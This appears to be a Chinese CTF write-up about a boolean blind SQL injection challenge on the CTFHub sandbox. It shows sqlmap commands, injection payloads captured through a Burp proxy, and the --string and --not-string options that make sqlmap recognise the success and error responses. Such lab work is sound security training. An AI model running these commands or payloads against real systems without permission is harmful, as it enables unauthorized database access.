经常会遇到这种情况,我们手工测试注入的时候,可以检测存在盲注,丢给sqlmap跑就怎么也出不来。
下面我以ctfhub技能树中的sql注入(布尔盲注)为例,进行讲解。
常用的sqlmap命令:
python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch --technique=B
sqlmap提示说提高下等级吧,命令如下
python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch --technique=B --dbms=mysql --level=3
依然一样的结果,未发现注入
设置burpsuite的代理(http://127.0.0.1:5080),加个代理看下
sqlmap命令更新如下:
python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch --technique=B --dbms=mysql --level=3 --proxy=http://127.0.0.1:5080
通过burpsuite抓吧,发现其实sqlmap很早就测试了基本的判断语句
?id=1%20AND%205432%3D5432–%20zwTT
?id=1%20AND%207065%3D5966–%20ORCO
但是sqlmap没有检测出来,原因是sqlmap不知道根据什么来判断正确与否,根据上面两条语句,手工测试发现分别返回query_success、query_error,我们手工编写注入代码时就会依据这个返回的关键字(query_success、query_error)的区别进行判断,进而得到正确的数据库数据。
基于此,我查阅sqlmap的使用帮助
Detection:
These options can be used to customize the detection phase
–level=LEVEL Level of tests to perform (1-5, default 1)
–risk=RISK Risk of tests to perform (1-3, default 1)
–string=STRING String to match when query is evaluated to True
–not-string=NOT… String to match when query is evaluated to False
–regexp=REGEXP Regexp to match when query is evaluated to True
–code=CODE HTTP code to match when query is evaluated to True
–smart Perform thorough tests only if positive heuristic(s)
–text-only Compare pages based only on the textual content
–titles Compare pages based only on their titles
在sqlmap的探测模块,可以发现有很多语法来检测查询结果是否匹配。
–string=query_success
–not-string=query_error
修改sqlmap命令如下:
python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch --technique=B --dbms=mysql --string="query_success"
python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch --technique=B --dbms=mysql --not-string="query_error"
sqlmap很快就得出结果:boolean-based blind